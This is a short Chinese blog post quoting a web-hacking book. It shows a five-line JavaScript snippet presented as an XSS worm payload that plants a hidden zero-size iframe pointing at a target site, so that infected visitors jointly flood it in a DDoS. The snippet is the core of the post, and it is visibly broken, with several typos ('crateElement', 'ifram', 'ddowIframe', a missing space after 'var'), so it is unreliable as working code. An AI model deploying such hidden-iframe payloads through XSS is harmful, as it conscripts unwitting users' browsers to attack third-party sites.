Xss蠕虫--DDoS

xss蠕虫代码如下:

1 varddosIframe = document.crateElement("ifram");
2 ddosIframe.style.width = 0;
3 ddowIframe.style.height = 0;
4 ddosIframe.src  = 'http://wwwtarget.com/';
5 document.body.appendChild(ddosIframe);

该代码自动创建一个iframe对象,并将地址指向被攻击的网站。如果xss蠕虫感染的用户同时发起了这个http请求,被攻击的网站就遭遇了ddos。

 

 

 

                                                                摘自--《web前端黑客技术揭秘》

posted on 2016-04-21 10:08  1tachi  阅读(259)  评论(0编辑  收藏  举报

导航